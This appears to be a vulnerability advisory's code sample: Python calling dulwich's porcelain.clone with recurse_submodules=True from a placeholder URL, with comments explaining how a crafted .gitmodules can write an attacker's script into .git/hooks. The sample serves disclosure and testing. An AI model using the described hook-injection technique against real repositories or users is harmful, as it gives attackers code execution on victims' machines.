Vulnerable code sample

import os
import tempfile
from dulwich import porcelain

# This code, when run with a vulnerable version of dulwich (e.g., 0.23.2 through 1.2.4),
# is susceptible to arbitrary code execution. It demonstrates the client-side
# action that triggers the vulnerability.

# An attacker would host a repository at this URL. The repository would be
# specially crafted with a .gitmodules file pointing a submodule path
# to a sensitive location like `.git/hooks`.
malicious_repo_url = "https://example.com/malicious-repo-cve-2026-52726.git"

# A temporary directory where the victim will clone the repository.
target_path = os.path.join(tempfile.gettempdir(), "vulnerable-clone-demo")

# The vulnerable operation.
# The `recurse_submodules=True` flag triggers the submodule update process.
# In vulnerable versions, dulwich does not validate the submodule's `path`
# specified in the `.gitmodules` file.
# An attacker can set the path to ".git/hooks", causing the contents of their
# malicious submodule (e.g., an executable "post-commit" script) to be written
# directly into the victim's local .git/hooks/ directory.
# Any subsequent git command that triggers this hook would then execute the
# attacker's code.
try:
    porcelain.clone(
        malicious_repo_url,
        target_path,
        recurse_submodules=True
    )
    print(f"Repository cloned to {target_path}")
    print("If the remote repository was malicious, a hook may have been installed.")
except Exception as e:
    # This exception is expected because the URL is a placeholder.
    # In a real attack, the attacker would provide a working URL.
    print(f"Clone failed (as expected with a placeholder URL): {e}")